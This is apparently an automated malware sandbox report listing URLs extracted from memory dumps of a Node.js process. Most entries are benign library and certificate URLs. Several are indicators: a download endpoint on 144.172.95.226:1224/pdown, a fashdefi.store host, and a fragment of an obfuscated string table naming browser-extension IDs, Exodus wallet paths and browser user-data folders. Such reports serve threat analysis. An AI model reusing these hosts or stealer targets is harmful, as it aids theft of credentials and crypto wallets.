"00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://doh.quickline.ch/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://chromewebstore.google.com/threadpool.unnecessarywakeup.browser.foregroundstorage.mojom.quotaclientmessageheadervalidatorheadervalidatorpf6o400])org.chromium.memory_instrumentation" - Source: "00000000-00006124.00000000.108750.0000C000.00000004.mdmp") Found URL "https://clients2.google.com/service/update2/crxgeheatoramazon1amazon" - Source: "00000000-00006124.00000000.108750.0000C000.00000004.mdmp") Found URL "http://localhost:3000(node:6124)" - Source: "00000000-00006124.00000000.108750.00034000.00000004.mdmp") Found URL "https://nodejs.org/api/cli.html" - Source: "00000000-00006124.00000000.108750.00034000.00000004.mdmp") Found URL "http://json-schema.org/draft-06/schema" - Source: "00000000-00006124.00000000.108750.0003C000.00000004.mdmp") Found URL "https://github.com/felixge/node-form-data/issues/38" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/joyent/node/issues/7819" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://github.com/mikeal/request" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/40" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/196//" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/262formdata.prototype.hasknownlength" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/kaielvin/jsbn-ec-point-compressioneccurvefp.prototype.decodepointhex" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://tweetnacl.cr.yp.to/var" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/floodyberry/poly1305-donnavar" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/dchest/tweetnacl-util-js');" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/dchest/tweetnacl-js.git" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://tweetnacl.js.org" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/andyperlitch/jsbn.git" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/quartzjer/ecc-jsbn.git" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://jeremie.com/" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/rynomad" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/quartzjer/ecc-jsbn" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://hughsk.io/)" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/hughsk/is-typedarray" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/rvagg/isstream.git" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/rvagg/isstream" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://debuggable.com/)" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/mikeal/forever-agent" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/mikeal/caseless" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://github.com/kriszyp/json-schema" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://blog.izs.me/)" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://tartarus.org/" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/joyent/oid-docs/blob/master/root.md" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://www.isecpartners.com/blog/2011/february/double-hmac-" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "http://www.json.com/json-schema-proposal/)" - Source: "00000000-00006124.00000000.108750.00040000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/canonical_cookie.cc" - Source: "00000000-00006124.00000000.108750.00060000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000000.108750.00074000.00000004.mdmp") Found URL "https://github.com/mikeal/tunnel-agent" - Source: "00000000-00006124.00000000.108750.00074000.00000004.mdmp") Found URL "https://github.com/bagder/curl/blob/6beb0eee/lib/http.c" - Source: "00000000-00006124.00000000.108750.000AC000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistd-trust" - Source: "00000000-00006124.00000000.108750.00128000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistinternal/fs/promisesnode:fs/promisesaexportsrequiremoduleprocessinternalbindingprimordialsd]deesdules" - Source: "00000000-00006124.00000000.108750.00128000.00000004.mdmp") Found URL "https://github.com/nodejs/node/issueserr_invalid_address_familyaddresstypeerr_invalid_arg_typeexpected'name'" - Source: "00000000-00006124.00000000.108750.00180000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00006124.00000000.108750.002A8000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00006124.00000000.108750.002A8000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00006124.00000000.108750.00310000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0" - Source: "00000000-00006124.00000000.108750.00310000.00000004.mdmp") Found URL "http://repository.swisssign.com/swisssign" - Source: "00000000-00006124.00000000.108750.0042C000.00000004.mdmp") Found URL "http://repository.swisssign.com/tw1" - Source: "00000000-00006124.00000000.108750.0042C000.00000004.mdmp") Found URL "http://www.accv.esll" - Source: "00000000-00006124.00000000.108750.00454000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.es11z+o+i=-----end" - Source: "00000000-00006124.00000000.108750.00454000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00006124.00000000.108750.00460000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\es1b0@9autoridad" - Source: "00000000-00006124.00000000.108750.008F4000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\el," - Source: "00000000-00006124.00000000.108750.008F4000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/0mf0d0/)http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlaccessmode0athens1d0b;hellenic" - Source: "00000000-00006124.00000000.108750.008F4000.00000004.mdmp") Found URL "https://chrome.google.com/webstore*internal/error_serdesinternal/worker/undici!internal/worker(]i!tracker!p1aw" - Source: "00000000-00006124.00000000.108750.00A44000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crl0=0;0.0," - Source: "00000000-00006124.00000000.108750.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/0=0;0.0," - Source: "00000000-00006124.00000000.108750.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/affirmtrust1affirmtrust" - Source: "00000000-00006124.00000000.108750.00C90000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/fnmt-rcm1ac" - Source: "00000000-00006124.00000000.108750.00C90000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist8http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist" - Source: "00000000-00006124.00000000.108750.00CEC000.00000004.mdmp") Found URL "http://unisolated.invalid/" - Source: "00000000-00006124.00000000.108750.00D3C000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/gebze" - Source: "00000000-00006124.00000000.108750.00DBC000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crlbratislava1disig" - Source: "00000000-00006124.00000000.108750.00DEC000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crlwww.xrampsecurity.com1$0" - Source: "00000000-00006124.00000000.108750.00E0C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0us1%0" - Source: "00000000-00006124.00000000.108750.00E0C000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlbudapest1netlock" - Source: "00000000-00006124.00000000.108750.00E0C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crld-trust" - Source: "00000000-00006124.00000000.108750.00E0C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00006124.00000000.108750.00E0C000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00006124.00000000.108750.00E1C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00006124.00000000.108750.00E2C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0+0)" - Source: "00000000-00006124.00000000.108750.00E2C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl" - Source: "00000000-00006124.00000000.108750.00E2C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.esbratislava1disig" - Source: "00000000-00006124.00000000.108750.00E2C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crllzmi)" - Source: "00000000-00006124.00000000.108750.00E2C000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/unitrust1uca" - Source: "00000000-00006124.00000000.108750.00E64000.00000004.mdmp") Found URL "https://github.com/nodejs/node/issues/22066" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://fashdefi.store:6168/defy/v6gzip," - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0//" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-asn1.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-sshpk.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/arekinath/node-sshpk" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/mcavage/node-assert-plus.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-http-signature/" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/mhart)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/mikeal/aws-sign" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/isaacs/json-stringify-safe" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://blog.izs.me)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/follow-redirects/follow-redirects" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://ruben.verborgh.org/)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/rubenverborgh" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://robwu.nl/)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://ljharb.codes" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/ljharb" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://144','kpcnlpebkl','pdqde','ysgel','era\x20softwa','wjwdx','sgdaj','\x5cp.zi','flned','qobcl','rename','ctntg','zvvxq','zdonr','wufef','afbcbjpbpf','xodus/exod','lzeot','pxnxl','ttqgt','kooxn','ngcnapndod','gtkjp','vofzb','cgnvz','jfjmt','pikoobohma','adlkmhmclh','snyot','868jzpick','xqrlj','fhbohimael','nyylt','/library/a','txt','sknny','trace','dus/exodus','xbhcp','ppgwx','/.config/s','zwjte','request','user\x20data','oadlu','fiexn','slqff','jioqv','browser','lggbd','/library/k','kmojf','xmuuh','url','rmsync','xnjbq','ecykq','syqsb','dwhll','opera','vsbws','on.exe\x22\x20\x22','round','jblndlipeo','vfeuf','ltrfv','wmtup','bind','klgdk','ntgoa','_uld','madui','prototype','zygph','dewpa','\x20support/','length','exception','formdata','6:1224','sxmof','sewhp','dsmbo','gpnkllbocc','local/brav','com.operas','ivawy','jgjfhomihk','hlkkp','zivwl','flnfe','get','upzbo','kwlbk','pekplomjjk','table','wbqnj','meevw','16089tsaszf','iijedngplf','ocal/micro','profile\x20','oaming/exo','rohzd','igwsg','werar','rfmzh','ciudd','byzxg','\x20support/b','ralry','/.npl','" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/parsed_cookie.cc" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://ipinfo.io10249" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://lupomontero.com/)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/lupomontero" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/stash" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/salesforce/tough-cookie" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://www.justmoon.net)" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/justmoon/node-extend.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "https://github.com/request/request.git" - Source: "00000000-00006124.00000000.108750.01080000.00000004.mdmp") Found URL "http://www.msftc:\s0:\a" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czclv]kmwzhrt[i,y+vywc:?r<0" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc5u" - Source: "00000000-00006124.00000000.108750.6A110000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json05/21" - Source: "00000000-00006124.00000000.108750.6A380000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,005/21" - Source: "00000000-00006124.00000000.108750.6A380000.00000002.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl049z00005internet1verisign," - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauth" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+voglobalsign" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symande1nu1$0" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsp.use5" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://ocsrt.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.d>cp-g5.crl0" - Source: "00000000-00006124.00000000.108750.B2E80000.00000004.mdmp") Found URL "https://chromewebstore.google.com/threadpool.unnecessarywakeup.browser.foregroundstorage.mojom.quotaclientmessageheadervalidatorheadervalidatorpf6o400])org.chromium.memory_instrumentation" - Source: "00000000-00006124.00000001.110668.0000C000.00000004.mdmp") Found URL "https://clients2.google.com/service/update2/crxgeheatoramazon1amazon" - Source: "00000000-00006124.00000001.110668.0000C000.00000004.mdmp") Found URL "http://localhost:3000(node:6124)" - Source: "00000000-00006124.00000001.110668.00034000.00000004.mdmp") Found URL "https://nodejs.org/api/cli.html" - Source: "00000000-00006124.00000001.110668.00034000.00000004.mdmp") Found URL "http://json-schema.org/draft-06/schema" - Source: "00000000-00006124.00000001.110668.0003C000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000001.110668.00040000.00000004.mdmp") Found URL "https://github.com/braveg1rl/performance-now" - Source: "00000000-00006124.00000001.110668.00040000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000001.110668.00040000.00000004.mdmp") Found URL "https://github.com/mikeal/tunnel-agent" - Source: "00000000-00006124.00000001.110668.00040000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\vu?;arizona1scottsdale1%0" - Source: "00000000-00006124.00000001.110668.0004C000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/canonical_cookie.cc" - Source: "00000000-00006124.00000001.110668.00060000.00000004.mdmp") Found URL "https://postgrest.org/en/stable/api.html?highlight=options" - Source: "00000000-00006124.00000001.110668.00074000.00000004.mdmp") Found URL "https://github.com/supabase/node-fetch" - Source: "00000000-00006124.00000001.110668.00084000.00000004.mdmp") Found URL "http://localhost:9999';exports.storage_key" - Source: "00000000-00006124.00000001.110668.00084000.00000004.mdmp") Found URL "https://github.com/supabase/supabase-js" - Source: "00000000-00006124.00000001.110668.00094000.00000004.mdmp") Found URL "https://github.com/phoenixframework/phoenix/commit/cf098e9cf7a44ee6479d31d911a97d3c7430c6fe//" - Source: "00000000-00006124.00000001.110668.00094000.00000004.mdmp") Found URL "https://github.com/phoenixframework/phoenix/blob/master/license.mdobject.defineproperty(exports," - Source: "00000000-00006124.00000001.110668.00094000.00000004.mdmp") Found URL "https://github.com/supabase/auth-js" - Source: "00000000-00006124.00000001.110668.00094000.00000004.mdmp") Found URL "https://postgrest.org/en/v7.0.0/api.html" - Source: "00000000-00006124.00000001.110668.000A0000.00000004.mdmp") Found URL "https://postgrest.org/en/stable/api.html" - Source: "00000000-00006124.00000001.110668.000A0000.00000004.mdmp") Found URL "https://supabase.com/docs/reference/javascript/next/typescript-support)" - Source: "00000000-00006124.00000001.110668.000AC000.00000004.mdmp") Found URL "https://www.postgresql.org/docs/current/functions-srf.html)." - Source: "00000000-00006124.00000001.110668.000AC000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000001.110668.000C4000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cpsg@pm0csp" - Source: "00000000-00006124.00000001.110668.00100000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00006124.00000001.110668.00100000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistd-trust" - Source: "00000000-00006124.00000001.110668.00128000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistulesinternal/fs/promisesnode:fs/promisesaexportsrequiremoduleprocessinternalbindingprimordialsd]deesdules*chrome/120.0.6099.291" - Source: "00000000-00006124.00000001.110668.00128000.00000004.mdmp") Found URL "https://example.com" - Source: "00000000-00006124.00000001.110668.00138000.00000004.mdmp") Found URL "https://realtime.supabase.com/worker.js" - Source: "00000000-00006124.00000001.110668.00138000.00000004.mdmp") Found URL "https://www.postgresql.org/docs/current/functions-srf.html)." - Source: "00000000-00006124.00000001.110668.00148000.00000004.mdmp") Found URL "https://www.chromium.org/for-testers/bug-reporting-guidelines/uncaught-securityerror-failed-to-read-the-localstorage-property-from-window-access-is-denied-for-this-document" - Source: "00000000-00006124.00000001.110668.00148000.00000004.mdmp") Found URL "https://github.com/mike-north/types/blob/master/src/async.tsclass" - Source: "00000000-00006124.00000001.110668.00148000.00000004.mdmp") Found URL "https://stackoverflow.com/questions/63309409/creating-a-code-verifier-and-challenge-for-pkce-auth-on-spotify-api-in-reactjsfunction" - Source: "00000000-00006124.00000001.110668.00148000.00000004.mdmp") Found URL "https://github.com/supabase/functions-js.git" - Source: "00000000-00006124.00000001.110668.00154000.00000004.mdmp") Found URL "https://github.com/supabase/functions-js" - Source: "00000000-00006124.00000001.110668.00154000.00000004.mdmp") Found URL "https://github.com/supabase/postgrest-js" - Source: "00000000-00006124.00000001.110668.00154000.00000004.mdmp") Found URL "https://github.com/supabase/realtime-js" - Source: "00000000-00006124.00000001.110668.00154000.00000004.mdmp") Found URL "https://github.com/supabase/storage-js" - Source: "00000000-00006124.00000001.110668.00154000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v18.18.2/win-x64/node.libcommonprogramfiles=c:\program" - Source: "00000000-00006124.00000001.110668.00254000.00000004.mdmp") Found URL "https://github.com/tmpvar/jsdom/blob/aa85b2abf07766ff7bf5c1f6daafb3726f2f2db5/lib/jsdom/living/blob.js//" - Source: "00000000-00006124.00000001.110668.00288000.00000004.mdmp") Found URL "https://fetch.spec.whatwg.org/" - Source: "00000000-00006124.00000001.110668.00288000.00000004.mdmp") Found URL "http://www.w3.org/tr/2011/wd-html5-20110113/parsing.html" - Source: "00000000-00006124.00000001.110668.00288000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00006124.00000001.110668.002A8000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00006124.00000001.110668.002A8000.00000004.mdmp") Found URL "https://url.spec.whatwg.org/" - Source: "00000000-00006124.00000001.110668.00308000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00006124.00000001.110668.00310000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0" - Source: "00000000-00006124.00000001.110668.00310000.00000004.mdmp") Found URL "https://github.com/supabase-community/base64url-js." - Source: "00000000-00006124.00000001.110668.00314000.00000004.mdmp") Found URL "https://developer.mozilla.org/en-us/docs/web/api/lockmanager/request" - Source: "00000000-00006124.00000001.110668.00314000.00000004.mdmp") Found URL "https://developer.mozilla.org/en-us/docs/web/api/lockmanager/request');" - Source: "00000000-00006124.00000001.110668.00314000.00000004.mdmp") Found URL "https://www.rfc-editor.org/rfc/rfc6749.html" - Source: "00000000-00006124.00000001.110668.00364000.00000004.mdmp") Found URL "https://nodejs.org/api/timers.html" - Source: "00000000-00006124.00000001.110668.00364000.00000004.mdmp") Found URL "https://deno.land/api@latest?unstable&s=deno.unreftimer" - Source: "00000000-00006124.00000001.110668.00364000.00000004.mdmp") Found URL "http://repository.swisssign.com/swisssign" - Source: 